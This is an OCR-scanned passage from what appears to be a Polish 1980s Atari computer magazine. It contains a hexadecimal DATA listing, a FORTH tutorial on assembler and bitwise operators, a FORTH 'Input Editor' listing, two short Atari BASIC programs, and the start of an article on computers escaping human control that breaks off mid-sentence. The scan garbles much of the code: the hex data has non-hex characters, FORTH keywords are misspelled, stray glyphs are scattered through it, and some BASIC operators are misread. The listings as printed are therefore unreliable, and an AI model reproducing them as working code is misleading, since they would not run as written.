TB 1950 DATA d2a00£a514c514£0£c9809e08d 
LD 1960 DATA 01d28810E1ac03adadfeac9900 
YZ 1970 DATA t>009019901t>02072abad£eac20 
HS 1980 DATA 0bacad£eac38e9204a4829£80a 
UV 1990 DATA 0a85b66829071865b6a8a95499 
RV 2000 DATA c0adf8ad07adl86d0aad8d07ad 
DY 2010 DATA ad08ad69008d08add8a9108d0a 
ON 2020 DATA ad60ac03ada9029 900t>0a9039 9 
OF 2030 DATA 01b02072aba9029900b0a90399 
PO 2040 DATA 01b060a92e85b0a9a£85blae00 
LC 2050 DATA adca300aa0b0a90c20eeac4c43 
YL 2060 DATA aba0b0adfEac20eeaca000blb0 
EC 2070 DATA 8d£eac2072abblb0c902£00238 
OB 2080 DATA 60adfeac200bacl860a90085b0 
MC 2090 DATA a9t>085blad00ad0a0a0a0a0a85 
CH 2100 DATA b6ad££ac0al865b6a860a03298 
YZ 2110 DATA 29010a0a0a8dlfd08d0ad48810 
BL 2120 DATA f160a05fa900992eaf8810£aa9 
WH 2130 DATA 0085b0a9b085bla9e68d01d2a2 
UN 2140 DATA 07a0009848a514c514£0fcad0a 
KD 2150 DATA d28d00d2ad0ad2291f8d£eacad 
MF 2160 DATA 0ad22910186dfeac8dfeaca8b9 
RO 2170 DATA 2ea£30e618697f992eaf68a8ad 
OL 2180 DATA feac0al86920200bacc01890c2 
CC 2190 DATA a0b0a92020eeaccal0b6a9008d 
FR 2200 DATA 00d28d01d2609lt)0c809019lb0 
PM 2210 DATA C860484a4a4a4a201dac68290f 
CH 2220 DATA 1869 169900b0c860a64dad7802 
RN 2230 DATA C90££002a200ad8402d001aa86 
GA 2240 DATA 4da5142907d042ad0dad290f8d 
TZ 2250 DATA 0dadad0ad229f00d0dad48a000 
TS 2260 DATA b90ead990dadc8c00790£5688d 
yz 2270 DATA 14adadlcad290£8dlcadad0ad2 
QN 2280 DATA 29f00dlcad48a006b915ad9916 
CV 2290 DATA ad8810£7688dl5ad4c62e448ad 
JA 2300 DATA 0bd4c948b00d29041869b48d0a 
QI 2310 DATA d48d09d4684098488a48a9e08d 
KC 2320 DATA 0ad48d09d4a000984a8d0ad48d 
GĄ 2330 DATA 18d08cl7d0c8c8c01190efa900 
CY 2340 DATA 8dl7d0a203a00fb90dad8d0ad4 
SU 2350 DATA 8dl8d0290£4a8dl7d08810eeca 
YB 2360 DATA 10e9a00f984a8d0ad48dl8d08c 
EU 2370 DATA 17 d 08888 10E168aa68a8684018 
JH 2380 DATA 790000990000a9007901009901 
FZ 2390 DATA 00600dad68ad0204080c0a0604 
QE 2400 DATA 020204080c0a06040299990020 
KH 2410 DATA 00150012990970f0c400b0c400 
DA 2420 DATA b0c420b0c420b0c440b0c440b0 
KM 2430 DATA c460b0c460t>0c480b0c480t>0c4 
AJ 2440 DATA a0t>0c4a0b0c4c0t>0c4c0b0c4e0 
HM 2450 DATA b0c4e0t>0004269ad0202020202 
SP 2460 DATA 02020202 4127ad89ad2daf5152 
HA 2470 DATA 52525252575252525252525252 
Ijr 2480 DATA 52 52 52 52 52 52 52 57 52 52 52 52 52 
GE 2490 DATA 525252457cc848c848c87c2632 
FG 2500 DATA 25240d0d0d0d0d0d0d0d0d0d0d 
DB 2510 DATA 7c0e0e0e0e0e0e0e0e7c7c48c8 









QO 2520 DATA 48c8487c28212e33002b2c2f33 
QJ 2530 DATA 330d0d0d0d0d7C0e0e0e0e0e0e 
0V 2540 DATA 0e0e7c7cc848c848c87c342825 
DS 2550 DATA 002a253400212334292f2e0d7c 
YP 2560 DATA 0e0e0e0e0e0e0e0e7c7c48c848 
JH 2570 DATA c8487c2c213325322d212e2921 
MT 2580 DATA 0d0d0d0d0d7 C0e0e0e0e0e0e0e 
SN 2590 DATA 0e7c7cc848c848c87c2d293333 
BF 2600 DATA 292f2e00332821322b0d0d7c0e 
JN 2610 DATA 0e0e0e0e0e0e0e7c7c48c848c8 
NE 2620 DATA 487c322f22222f0d0d0d0d0d0d 
HQ 2630 DATA 0d0d0d0d7 C0e0e0e0e0e0e0e0e 
FT 2640 DATA 7c5a5252525252585252525252 
KM 2650 DATA 52525252525252525252585252 
GX 2660 DATA 525252525252438080808088e3 
1A 2670 DATA 89809199999280b4eleae5edee 
SY 2680 DATA e9e3e580alf4elf2e980808080 
ND 2690 DATA 8080alb6alacafae80blf5e9fa 
JG 2700 DATA 80e2f980a4elf2e9f5f3fa80ba 
NV 2710 DATA efeceee1808080808080808080 
ŁJ 2720 DATA 80b9eff5f280f4e9ede580e9f3 
YY 2730 DATA 80f5f08180808080808080801d 
WP 2740 DATA ldldld7f54776f6a6520686173 
Y1 2750 DATA 6c6f3a9b9b7f7f787878787878 
YD 2760 DATA 787878789bldldldld4e616369 
CV 2770 DATA 736e696a20a0d2c5d4d5d2ce20 
SI 2780 DATA Ie453a9b0a0b0c0d0e0f101112 
FN 2790 DATA 131415e002el0200a6ffff00b4 
UW 2800 DATA f fbb0000000000000000000000 
KJ 2810 DATA 0000000000000000000a0a0909 
TN 2820 DATA 00000000a08040405088cc8844 
RI 2830 DATA 5000515480f080405400559b9b 
JI 2840 DATA 46460000000000000000000000 
KR 2850 DATA 00e0e09090404090900e0e0909 
OS 2860 DATA 04040909000054a83030303000 
FV 2870 DATA 0054a830303030000055aacccc 
MM 2880 DATA cccc0000458acccccccf000045 
GU 2890 DATA 8a0c0c0c0f00004084c8ccc804 
YH 2900 DATA 0000152a3030303f0000152a30 
EF 2910 DATA 3030300000152a333333330000 
HX 2920 DATA 152a3333333c0000152a303030 
RN 2930 DATA 3c000000102030201054a8cccc 
RK 2940 DATA ccccccccl020f0f03030303054 
YW 2950 DATA a80c0c0c0c0cfc54a80c0c0c0c 
MT 2960 DATA 0c3c4080c0c0c0ccccfc54a8c0 
YM 2970 DATA C0c0c0c0fc54a8c0c0c0c0c0fc 
TT 2980 DATA 54a80c0c0c0c0c0c54a8cccccc 
EG 2990 DATA ccccfc54a8ccccccccccfc0000 
MV 3000 DATA 0000000002020000000000608C 
OT 3010 DATA 48000000c030cd34c000000000 
OH 3020 DATA 00804000000000000000000700 
CZ 3030 DATA 00000000000000000000000030 
VA 3040 DATA 300a0000000000303080000202 
PJ 3050 DATA 0300000002008080C080804000 
KA 3060 DATA 0001390b0909390b00c0ac90b0 
CA 3070 DATA 90909c0082aabfbabab9b70008 
IE 3080 DATA a8f8989898580001051619256d 
CI 3090 DATA 7f68565877bce6aa685451aa95 
AJ 3100 DATA 9080bcbb5515a9581808088800 
DZ 3110 DATA fcf0cc00ccf0fc00fc3ccc00cc 
JE 3120 DATA 3cfc0010081082100810004020 
ZB 3130 DATA 4000402040aa95958484848480 
PN 3140 DATA a8545404045454045555555555 
QQ 3150 DATA 5555ff55555555555555fcffaa 
BQ 3160 DATA 55644655aa00ffaa55644655aa 
XF 3170 DATA 00ffeae5e4e4e5ea00fca85898 
LÓ 3180 DATA 9858a800000a05060606050a80 
ŁV 3190 DATA 405080c0c08040f3ffeala06fa 
SB 3200 DATA eae9f0d093ada9a9ac6b00f7e6 
JC 3210 DATA e6e656eaed004090a4290989a9 
XG 3220 DATA 0010102121ba22130010102020 
TA 3230 DATA b82010fce7e6f6d6e6e6e600ff 
TU 3240 DATA a9a9a9a9a9a900003f3f393638 
JU 3250 DATA 320000fcf484249464c0f0fcef 
NI 3260 DATA d7c8d5e200000000c0f07c2fa6 
GS 3270 DATA a6ffeaebeeeeee9a9affa9e9b9 
RT 3280 DATA 999902070b0a0606ca8b80d0e0 
MK 3290 DATA a09090a3e20b26551f7a608b8e 
SV 3300 DATA e09855e4a9094202aaaa95959a 
DA 3310 DATA 9b9f9eaaa95559f9e9a9993fea 
UH 3320 DATA eae0efecefe0fca9a909390939 
EE 3330 DATA 0938e9eaa9a79fIele386aaa6a 
KD 3340 DATA d9a5a464ffffeae5eaeae2e6ff 
WJ 3350 DATA fda979a9a989990bbaba001919 
HP 3360 DATA 2e2e90a5a50040409494ffffea 
GY 3370 DATA e2e2e6eae2fffda969b969b969 
AU 3380 DATA eeee302f3fbfffffe0e08383cb 
CW 3390 DATA ebf3e35454545450441000a595 
OH 3400 DATA 555555555100aa959095929590 
VY 3410 DATA 95a959995819589859fCa4a4a4 
NU 3420 DATA 540000alffeaeaea550090alaa 
FY 3430 DATA aabfbebaaaaaaaaaa9e9a9a9a9 
XZ 3440 DATA a9a9eaea3a3a003a000aa4a490 


OE 3450 DATA 9000900040ffffff3f3f0f4103 
PP 3460 DATA fafafae8e8a04180545453404b 
m 3470 DATA 2f192fa5158505dla440940106 
IF 3480 DATA 0a0a0905192aa0a89478f0c040 
ZV 3490 DATA 900014147d555555140014147d 
HY 3500 DATA 555555140000003cffd7d7d700 
FM 3510 DATA 0000f0fc5c5c5c000401000517 
ZT 3520 DATA 17050004100054757554000000 
SY 3530 DATA 00020a2aea000000008090a4a7 
YU 3540 DATA 003cebebee3aeae9003fe9a9a9 
JP 3550 DATA 9540000000030f3e3a3a3a0000 
HX 3560 DATA C0f0bca4a6a600003a3a3a3a00 
NE 3570 DATA 0e0000a4a4a4a40090000a000a 
ZT 3580 DATA 093b323a003c80fcdcfcb0fC00 
AA 3590 DATA 00000000000000000000000000 
AV 3600 DATA 00000909080000000000404000 
VG 3610 DATA 00000000002233221141aaffaa 
GK 3620 DATA 08cc080444aaffaa0000000000 
XK 3630 DATA 000000000000009b9b4646e0e0 
PF 3640 DATA 9090404090900e0e0909040409 
CL 36 50 DATA 09 303030302010000030303030 
YA 3660 DATA a8540000ccccc0c080400000cf 
YT 3670 DATA cccccc8a4500000f0c0c0c8844 
EH 3680 DATA 000000c4c8cc884400003f0303 
FS 3690 DATA 032al50000303030302al50000 
MA 3700 DATA 333333332al500003c33333322 
ZJ 3710 DATA 1100003C3030302a1500000010 
XK 3720 DATA 203020100000cccccccccccca8 
DU 3730 DATA 54303030303030a854fcc0c0c0 
HM 3740 DATA C0c0a8543c0c0c0c0c0ca854fc 
LW 3750 DATA 0c0c0c0c0c0804fc0c0c0c0c0c 
CY 3760 DATA a854fccccccccccca8540c0c0c 
WB 3770 DATA 0c0c0c0804fccccccccccca854 
UB 3780 DATA fC0c0c0c0c0ca8540a0a092a2a 
SE 3790 DATA 262a008090a0a4949454000303 
ZM 3800 DATA 010102030300e0e05050a0e0e0 
VH 3810 DATA 001240406aab2a8a88c0000000 
SJ 3820 DATA 808000802a2a2a2985a0a090a0 
UD 3830 DATA 905050482828240202092al63e 
BE 3840 DATA 2ala0000a0a898b49c54093909 
SV 3850 DATA 0b0939090b9090909c90909c90 
OD 3860 DATA b6b9babale250a005898989850 
PE 3870 DATA 608000be7e7f9f5ba5a96a9098 
AA 3880 DATA acdce0904090bfbc9e9fa9aaaa 
AB 3890 DATA 40f8f8d8d868a8a800cf30cfff 
OC 3900 DATA 00f200efcc0cc0fc00cc088clb 
Pj 3910 DATA lblblblb0700009f93939C9040 
MN 3920 DATA 00008094948080959500044444 
JN 3930 DATA 4444545400eaeaefefefeaea00 
TF 3940 DATA a8a8b8b8b8a8a800a0681a0606 
CS 3950 DATA Ia68a00a29a49090a4290a9794 
lip 3960 DATA 95959794950094145454941454 
BZ 3970 DATA 001a2a6aa9a9a9a6a68090a0a0 
MV 3980 DATA a494986429eaeae6d3d3d050e9 
OJ 3990 DATA a9a9a4a9a9d5d5eeeeeeeeedea 
CD 4000 DATA d5006999999959a955006f1322 
HZ 4010 DATA ba21211010e41020b8 20201010 
BV 4020 DATA e6e6e6f6d6e6e554a9a9a9a9a9 
YV 4030 DATA a9550039363832351503038424 
RA 4040 DATA 946454548080d5c8d5eld5d450 
RD 4050 DATA 405594504000000000eeebeb43 
SI 4060 DATA a7a70303996969415a5a40404b 
KV 4070 DATA 4b676767000000eleld9d9d900 
EK 4080 DATA 00008880601a85702f0a020109 
PB 4090 DATA a45209a4509a9995949aaa9555 
KZ 4100 DATA 59490919a9a95555eac4eac4ea 
3K 4110 DATA C4eal5a945a945a945a9541al9 
QQ 4120 DATA dae6e8a9651464249189296955 
ŻI 4130 DATA 14efe0e5e8eaead555f9015101 
YD 4140 DATA a9a955552e2e2e2e00baba0694 
MO 4150 DATA 94949400a5a540e2e6eaeeeeea 
BM 4160 DATA d555b969b969b9a95555bfaaea 
OC 4170 DATA 2a3a30eeeea3a3bb8bc383e0e0 
ZH 4180 DATA 95555555555411005252514151 
ZA 4190 DATA 411100959092909595aall5818 
QF 4200 DATA 19185858a810681a86al681a86 
PM 4210 DATA al681a86al681a86alaaaaaaaa 
BF 4220 DATA aa955500a9a9a9a9a95555009a 
BZ 4230 DATA 5a5a5a5a555a00404141414105 
YY 4240 DATA 45009350555555541100860251 
AO 4250 DATA 41514111002e2e2e2e2f2f192e 
SB 4260 DATA 44444444949440a46aa9a9a9a6 
NP 4270 DATA a6651aa0a0909f6c6000401414 
MP 4280 DATA 7d555555141414147d55555514 
PC 4290 DATA 14f7ffff3c000000007cfcfcf0 
IA 4300 DATA 00000000000616120200010580 
MX 4310 DATA a4a5ala0841410bf2a0a218000 
RJ 4320 DATA 0000fd94504401000000ebeala 
ED 4330 DATA e6e9e9140000c0bfa9a9691500 
MD 4340 DATA 3a3a3al605010000a6a6a49450 
BC 4350 DATA 400000000e000e000200000090 
JU 4360 DATA 0090004000003b0b0b0b0b000b 
KZ 4370 DATA 0bfefefefefc002c2c 







2 ,X LDA, -młodszybajt 



W tym odcinku podam pewne wiadomości związane 
z wykorzystaniem asemblera w języku FORTH. Znajo¬ 
mość działania samego FORTHa znacznie ułatwia pisa¬ 
nie programów w asemblerze, gdyż umożliwia pełne 
współdziałanie obu języków. Wiadomości te są niezbęd¬ 
ne dla bardziej zaawansowanych programistów. Ostatnie 
odcinki z tego cyklu zawierały wiadomości o asemblerze. 
Zdaję sobie sprawę, że nie wszystkich sympatyków 
FORTHa mogło to Interesować. Chciałem jednak zado¬ 
wolić także tych, którzy co nieco na temat FORTHa już 
wiedzą 1 chcieliby praktycznie go wykorzystać. 

Wszystkich zawierających dopiero znajomość z Panem 
FORTH odsyłam do drugiej części artykułu, gdzie pozna¬ 
my kolejne słowa naszego języka. 

Na końcu zamieszczam jeszcze raz listing Edytora 
Wprowadzania. Mam nadzieję, że tym razem żadna siła 
nie zmieni tego wydruku. Wszyscy, którzy wprowadzili 
do komputera poprzedni edytor z zamieszczonymi póź¬ 
niej poprawkami, mogą przy nim pozostać. Tym. którzy 
tego nie uczynili, radziłbym wklepać wydruk znajdujący 
się na końcu tego artykułu, gdyż unikniemy konieczności 
wprowadzania poprawek z poprzedniego numeru TA. 

ASEMBLER, ciąg dalszy 

Do tej pory w programach pisanych w asemblerze nie 
używaliśmy rejestru X. Rejestr ten pełni bardzo ważną 
rolę w języku FORTH, gdyż Jest on tzw. wskaźnikiem 
stosu parametrów. Znając więc wartość rejestru X mo¬ 
żemy odczytać liczbę będącą na szczycie stosu bezpo¬ 
średnio z asemblera. Wystarczy wykorzystać rozkaz 0 ,X 
LDA, aby liczbę ze stosu parametrów załadować do aku¬ 
mulatora. Widzimy jednak, że rozkaz ten pobrał jedynie 
jeden bajt, a przecież liczby w języku FORTH są dwubaj¬ 
towe. Aby pobrać starszy bajt liczby, należy wykonać roz¬ 
kaz 1 ,X LDA,. 

Co jednak uczynić gdy chcemy przy pomocy stosu pa¬ 
rametrów przekazać więcej niż Jedną wartość? Aby to 
wykonać, należy wiedzieć, że stos naszego FORTHa roś¬ 
nie w dół pamięci. 

Znając działanie stosu łatwo się domyślić, że liczba le¬ 
żąca na stosie jako druga może być pobrana przy pomo¬ 
cy rozkazów: 


3 ,X LDA, -starszy bajt 

Sposób pobrania trzeciej liczby ze stosu nie powinien 
sprawić Czytelnikom żadnych trudności. Należy pamię¬ 
tać, że w rzeczywistości nie ściągamy liczby ze stosu, lecz 
Ją kopiujemy do akumulatora. Liczba nie zostaje usunię¬ 
ta ze stosu. 

Przykład 

0 VARIABLE WA I;i31ll;l!l 

CODĘ >WA 0 ,X LDA, WA STA, 1 ,X LDA, WA 1+ 

STA, NEXT JMP, C; l:!3(ll;l?l 

wykonujemy: 

257 >wa 1:13111:1?! 

1 sprawdzamy wartość na stosie 

WA ? mm 

. nram-rn 

Widzimy, że wprawdzie słowo >WA przekazało liczbę 
257 do zmiennej WA, lecz nie usunęło jej ze stosu. 

Co zrobić, aby słowo napisane w asemblerze działało 
Identycznie jak słowa FORTHa 1 usuwało parametry ze 
stosu? 

Możemy zastosować dwie metody. Pierwsza z nich po¬ 
lega na wykorzystaniu odpowiednich skoków powrotu 
do FORTHa: POP oraz POPTWO. Pierwszy z nich usuwa ze 
stosu jeden parametr, a drugi dwa. Należy Je stosować 
w miejsce skoku NEXT używanego we wcześniejszych 
przykładach. Sprawdzamy: 

SP! niTTI-T7l 

0 VARIABLE W1 1 : 73111 : 1 ?! 

CODĘ >W1 0 ,X LDA, W1 STA, 1 ,X LDA, W1 1+ 

STA, POP JMP, c; 1:13111:1?! 

257 >wi 1:13111:1?! 
wi ? nani-m 
- manEffl 

SP! - to słowo czyszczące stos. Tym razem na stosie 
nie została żadna liczba, gdyż nowa procedura powrotu 
do FORTHa (POP) usunęła ją ze stosu. Co zrobić, gdy 
napiszemy w asemblerze słowo posiadające trzy parame¬ 
try wejściowe? 

Należy wtedy zastosować inną, bezpośrednią metodę 
usuwania parametrów, a mianowicie wykorzystanie roz¬ 
kazu 1NX przed opuszczeniem słowa. 

Aby to lepiej zobrazować, napiszmy nowe słowo wyko¬ 
nujące to samo zadanie coWl.w innej formie. 

0 VARIABLE W2 mani-ni 

CODĘ >W2 0 ,X LDA, W2 STA, 1 ,X LDA, W2 1+ 

STA, INX, INX, NEXT JMP, C; l:Utll;KI 

T^m razem zamiast procedury powrotu POP zasto¬ 
sowaliśmy rozkazy INX, działające bezpośrednio na re¬ 
jestr X. Zauważmy, że bardziej logiczne wydaje się zasto¬ 
sowanie rozkazu DEX, do obniżenia stosu. Musimy Jed¬ 
nak pamiętać, że stos rośnie w kierunku niższych komó¬ 
rek 1 w związku z tym zmniejszenie stosu nastąpi w mo¬ 
mencie zwiększenia adresu szczytu. 

Korzystając z drugiej metody usuwania parametrów 
należy zachować szczególną ostrożność, gdyż metoda ta 



nie sprawdza zawartości stosu, co może doprowadzić do 
zawieszenia systemu. Najlepszym wyjściem wydaje się 
korzystanie z metody pierwszej, a dopiero w przypadku 
trzech parametrów (1 więcej) - dodanie metody drugiej. 

Na koniec jeszcze jedna ważna sprawa. Wydaje się, że 
stosowanie rejestru X bezpośrednio w języku FORTH 
uniemożliwia zastosowanie go w asemblerze. Jest jed¬ 
nak na to bardzo prosta rada: przed wykorzystaniem re¬ 
jestru X należy przesłać jego zawartość do dowolnej ko¬ 
mórki pamięci, a przed powrotem do FORTHa odtwo¬ 
rzyć jego wartość. 

Twórcy Implementacji Extended fig FORTH przewi¬ 
dzieli do tego celu zmienną XSAVE. Jeżeli nasze słowo 
wykorzystuje rejestr X, to pierwszym jego rozkazem mu¬ 
si być XSAVE STX, a jednym z ostatnich XSAVE LDX, . 

FORTH - operatory logiczne 

Ponieważ zakończyłem przedstawianie asemblera 
FORTHa, chciałbym w tej chwili zająć się słowami umo¬ 
żliwiającymi działanie na najmniejszych wycinkach pa¬ 
mięci. Język FORTH, podobnie jak C, zaliczany jest do 
języków asemblerowych. Języki te posiadają rozkazy 
umożliwiające wykorzystanie możliwości dostępnych 
zwykle tylko z asemblera. Do takich słów w języku 
FORTH można zaliczyć bitowe operatory logiczne. 

Aby nie mylić Ich z operatorami wykorzystywanymi 
przy określaniu znacznika prawdy (np. przed IF) użyłem 
określenia "bitowe". Operatorami tymi są słowa: AND, 
OR. XOR. 

Jak już wspomniałem wcześniej, nie należy Ich stoso¬ 
wać do określania znacznika prawdy, gdyż do tego wyko¬ 
rzystujemy: * jako and (1) oraz + jako or (lub). 

Natomiast bitowe operatory logiczne mają tę właści¬ 
wość, że przetwarzają bity dwóch liczb na szczycie stosu 
1 zastępująje odpowiednim wynikiem operacji logicznej. 


Poniżej przedstawiam tabelę działania na dwóch bi¬ 
tach BIT1 1 BIT2 odpowiednich operatorów: 


BIT1 

BIT2 

AND 

OR 

XOR 

0 

0 

0 

0 

0 

1 

0 

0 

1 

1 

0 

1 

0 

1 

1 

1 

1 

1 

1 

0 


• AND jest logicznym odpowiednikiem spójnika "1" (ko- 
nlunkcja). 

• OR Jest odpowiednikiem "lub" (alternatywa). 

• XOR odpowiada łącznikowi "albo". 

Działanie tych operatorów na liczbach może się wyda¬ 
wać początkującym programistom nie bardzo zrozumia¬ 
łe. Przykład: 

9 12 AND . nrem 

Jako wynik otrzymaliśmy liczbę 8. Jakie dziwne dzia¬ 
łanie zostało wykonane 1 jak został obliczony taki wynik? 

Wszystko stanie się jasne, gdy przejdziemy na system 
dwójkowy. Aby tego dokonać, musimy poznać metody za¬ 
miany układu liczbowego. FORTH posiada prosty sy¬ 
stem przejścia z jednego układu do drugiego przez wy¬ 
wołanie odpowiedniego słowa. 

Należy pamiętać, że wywołany układ liczbowy pozosta¬ 
je aż do momentu wywołania Innego. 


Słowo DECIMAL ustawia FORTHa na dziesiętny sy¬ 
stem liczbowy, a HEX - na szesnastkowy. W naszym 
przypadku (zamiany na system dwójkowy) nie możemy 
Ich wykorzystać. Ale FORTH posiada możliwości korzy¬ 
stania z dowolnego układu liczbowego. 

Za podstawę aktualnego systemu liczbowego odpowia¬ 
da zmienna o nazwie BASE . Jeżeli w tę zmienną wpisze¬ 
my np. liczbę 2, to FORTH przejdzie na system dwójko¬ 
wy. Aby ułatwić sobie zadanie z ciągłym wpisywaniem li¬ 
czby 2, stwórzmy słowo BIN wykonujące tę operację. 

: BIN 2 BASE ! ; l:ndl:l!l 

Teraz po każdym wywołaniu słowa BIN działamy w sy¬ 
stemie binarnym. 

Zamiana układu liczbowego na dowolny system może 
znacznie uprościć program. Na przykład, gdy pisałem 
Edytor Wprowadzania, chciałem zastosować możliwie 
dużą liczbę do określenia kodu kontrolnego. Liczba ta 
musiała się składać jedynie z dwóch cyfr. Wprowadzenie 
układu trzydzlestodwójkowego znacznie uprościło to za¬ 
danie. 

Skoro mamy już niezbędne narzędzie, powróćmy do 
przykładu działania bitowych operatorów logicznych. 
Przykład: 

BIN nrem 
iooi nrem 
iioo nrem 

AND CR . HiiflIHn 

Cały przykład został napisany w słupku, aby była mo¬ 
żliwość porównania bitów na odpowiednich miejscach. 
Jeśli teraz zajrzymy do poprzedniej tabelki, to wszystko 
będzie jasne. Początkującym programistom radziłbym 
wypróbować tą metodą wszystkie operatory. 

Do czego mogą one być wykorzystane? Zastosowań 
jest wiele, np. porównując przy pomocy operatora AND 
liczbę, mającą ustawiony 1 wybrany bit, z komórką joy¬ 
sticka (patrz Mapa Pamięci w TA 5), otrzymujemy znacz¬ 
nik prawdy dla odpowiedniego położenia drążka. 

Na zakończenie pobawmy się jeszcze w zmiany syste¬ 
mu liczbowego. Napiszmy: 

DECIMAL 

base ? nrem 

Na ekranie pojawiło się 10, czyli wszystko w porząd¬ 
ku, gdyż w zmiennej BASE powinna znajdować sle taka 
liczba dla systemu dziesiętnego. 

Spróbujmy jeszcze raz dla systemu szesnastkowego. 

HEX nrem 
BASE ? nrem 

Także teraz zobaczymy 10. Dlaczego tak się dzieje? 
Spróbujmy jeszcze wpisać bezpośrednio: 

5 base ! hreilETCI 
base ? nrem 

Nic się nie zmieniło, dalej jest 10. Może zmienna BASE 
znajduje się w pamięci ROM, gdyż jej wartość nie uległa 
zmianie? A może jednak nie? 

Czytelnik, który pierwszy przyśle rozwiązanie powy¬ 
ższego problemu, otrzyma dowolnie wybraną grę firmy 
AVALON. Zagadka jest bardzo prosta, więc radzę się po¬ 
spieszyć. 






A oto wspomniany listing Właściciele magnetofonów powinni najpierw wprowadzić 

0 warn ing i mm 


( EDYTOR WPROWADZANIA ) 

: <=< OVER > >R < R> * ; MIM 
VOCABULARY EW IM MEDI ATK IlUllMS 
EW DEFINITIONS lil^M 
37000 CONS ANT AD0 l:l*W:Ł'l 
0 VARIABŁE AB lilŚMI 
0 VARIABLE *K Ui MM 
0 VARIABLE LIN lilŚlM 
0 AR ABLE EN ldMlteL'l 
: AF AD0 AB 8 + ; l:UiH:KI 

: B32 32 BASE I f KIlteH _ 

: NK IF O 0 ELSE B32 AF NUMBER DE CI H AL 1024 U/ ENDIF ; iiUlto 

: NI 0 AF COUNT OVER + SWAP ; l;Uill:l?l _ 

: NU NI DO I C@ 47 OVER 58 <=< 64 ROT 87 <=< 4 0 4 LOPE NK ; EOGEEB 

: K0 1 *K +1 C6 ‘K i * DDP EN 41 4 1024 MOD ; _ 

: Ki DO I K0 I Cg 0= IF I 38 BLANKS LEAVE END IF LOO P ; MMlfcHI 
: KP 0 *K 1 4 AF Cl 32 AF 5 4 Cl NU 0 EN i ; KMŚiafl 

: KOD= KP R >R 0 AF 38 + AF 6 + KI R > = R5 LIN | = SWAP OVER * ; (3 

: .R2 0 <# ł t #> TYPE SPACE ; liiafM 

: ?L LIN @ B32 . R2 DEC IMAŁ ; 

: WP 125 EMIT 1 LIN * 1 Wprowadź linie ” ?L C R CR ; EHBIl 
: ?DOB DROP AF 6 + AF 32 CMOVE 32 AB 41 WP 1 j CHHM 
: ?Z CR CR AF 1+ 37 TYPE 155 EMIT 2 8 EMI T 0 ; CHUCH 

! LL ." Teraz ma byc linia " 7L ; ia<waa _ 

s ?ZLE 125 EMIT 0= IF LL ELSE E>opraw!" ENDIF ?Z ; UH IM 
: KO KOD= IF ?DOB ELSE 7ZLE ENDIF E N 8 1 442 = * J limna.'l 
: GO 125 EMIT CR GOTOWE I" CR ; liłUM I 

s El 1 82 Cl 0 AB I 0 LIN I WP f KWŚiafl _ 

: BBL AF 1024 AB 8 QVER MOD - DUP AB 4-1 BLANKS ; UISIStU 
FORTU DEFINITIONS E&IB3 

: EDW EW El BEGIN AF 39 ERASE AF 1+ 37 EXPECT KO UNTIL BBL GO FORTH 


; Właściciele stacji dysków wpisują: 


S BSAV OVER + SWAP DO DUP I 0 R/W B/BUF 4 LOOP DROP ; 

: EDW-SAVE EW AD0 SWAP B SCR * AB 8 B/BUF / BSAV FORTH 


m 


A właściciele magnetofonów następujące Unie: 


1 VAR ABLE CG L 131M 
: —> 0 cg i ; laamaa 

: BF< 16 8 DO DUP I 8 - B/BUF * 4 I BUFFER B/BUF CM OVE LO OP DROP ; CD 
: EL 0 WARNING 1 EMPTY-BUFFERS BF< 1 CG I 1 LOAD ; 

: EDW-COMP EW AD0 >R BEGIN R EL R> 1024 4 >R CG ! UNTIL R> DROP FORTH 


cnrani 


Roland Pantoła 


JLtd 


Sympatyczną grę logiczną nadesłał Jerzy Smalewski 
z Krakowa. Na ekranie pojawiają się w różnych miej¬ 
scach kropki (koraliki), a zadaniem gracza Jest nanizać 
Je na sznurek, rozwijany przy pomocy joysticka tak, by 
sznurek nigdzie się nie krzyżował. Miarą sukcesu Jest 
liczba nawleczonych koralików._ 


Obraz standardowej szerokości, 
generowany przez komputer ATARI 
nierzadko nie mieści się na ekranie 
telewizora. Dlatego zwykle zostawia 
się z lewej strony dwuznakowy 
margines. Co jednak zrobić, gdy 
i to nie wystarcza? Paweł Nowak 
z Rzeszowa przedstawia dowcipne 
rozwiązanie tego problemu. 


1 GRAPHICS 23:COLOR l:PLOT 0,0:DRAWTO 
159,0:DRAWTO 159,95:DRAWTO 0,95:DRAWTO 

0,0:X=80:Y=48:COLOR 2:PLOT X,Y:C=9 

2 D=D4l:A=INT(RND(0)* 15841):B=INT(RND( 
0)*7841):COLOR 2:PLOT A,B:SOUND 0,9,4, 
4:FOR T=1 TO 150:NEXT T:SOUND 0,0,0,0 

3 RESTORE :K=X:L=Y:J=STICK(0):FOR 1=5 
TO 15:READ P:READ R:IF J=I THEN X=X4P: 
Y=Y4R:LOCATE X,Y,Z:IF J=15 THEN Z=0 

4 NEXT I:COLOR 2:PLOT X,Y:IF AOX AND 
BOY AND Z>0 THEN GRAPHICS 2:POSITION 
1,5:? #6;"KONIEC - U ;D; U KROPEK":END 

5 FOR V=1 TO 15:NEXT V:COLOR 3:PLOT K, 
L:ON Z4l GOTO 3,2,2:DATA 1,1,1,-1,1,0, 
0 , 0 ,- 1 , 1 ,- 1 ,- 1 ,- 1 , 0 , 0 , 0 , 0 , 1 , 0 ,- 1 , 0,0 


1 POKE 82,0:POKE 83,31:GRAPHICS 0:OBR= 
PEEK(88)4256*PEEK(89):DLIST=1539 

2 FOR DL=1536 TO 1539:POKE DL,112:NEXT 
DL:FOR DL=0 TO 23:POKE DLIST,66:SOBR= 

INT(OBR/256):MOBR=OBR—SOBR* 256 

3 OBR=OBR+40:POKE DLIST41,MOBR:POKE DL 
IST42,SOBR:DLIST=DLIST43:NEXT DL:POKE 
DLIST,65:POKE DLIST41,0:POKE DLIST42,6 

4 POKE 560,0:POKE 561,6:POKE 559,33 









Komputery zostały stworzone, 
aby służyć człowiekowi. 

Do niedawna maszyny, które 
wypowiadają posłuszeństwo 
swemu panu, straszyły tylko 
z kart powieści s-f. I nagle 
stało się. Groza rodem z bajek 
zamieszkała między nami! 

Dawne, duże komputery wymagały 
wiele pomocy od człowieka. Opera¬ 
tor uruchamiał ręcznie zalążek sy¬ 
stemu operacyjnego, zakładał taśmę 
z właściwym systemem. Taka taśma 
była na ogół zabezpieczona fizycznie 
przed zapisem. Operator czuwał nad 
całym przebiegiem pracy kompute¬ 
ra, informowany dziesiątkami kolo¬ 
rowych światełek o aktualnym sta¬ 
nie maszyny. Zwykli użytkownicy do¬ 
starczali zadania na kartach lub ta¬ 
siemkach z papieru, odbierali wyniki 
w formie płacht wydruków. Kompu¬ 
ter, a raczej działający w nim pro¬ 
gram, nie był w stanie odmienić 
układu dziurek na papierze. Dziś 
